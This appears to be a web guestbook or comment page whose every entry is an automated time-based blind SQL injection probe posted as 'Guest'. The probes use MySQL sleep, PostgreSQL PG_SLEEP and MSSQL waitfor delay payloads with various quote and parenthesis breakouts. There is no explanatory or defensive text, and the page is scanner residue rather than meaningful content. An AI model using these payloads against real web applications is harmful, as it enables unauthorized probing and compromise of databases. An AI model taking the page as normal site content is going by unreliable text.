(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
H5brE0Ye'; waitfor delay '0:0:15' --

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
i8QxZFj9'); waitfor delay '0:0:15' --

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
k9Cx7kFS')); waitfor delay '0:0:15' --

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
GkSCVEcV' OR 446=(SELECT 446 FROM PG_SLEEP(15))--

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
HHN9Sghs') OR 920=(SELECT 920 FROM PG_SLEEP(15))--

Guest:
1-1) OR 21=(SELECT 21 FROM PG_SLEEP(15))--
uQ2zzppP')) OR 127=(SELECT 127 FROM PG_SLEEP(15))--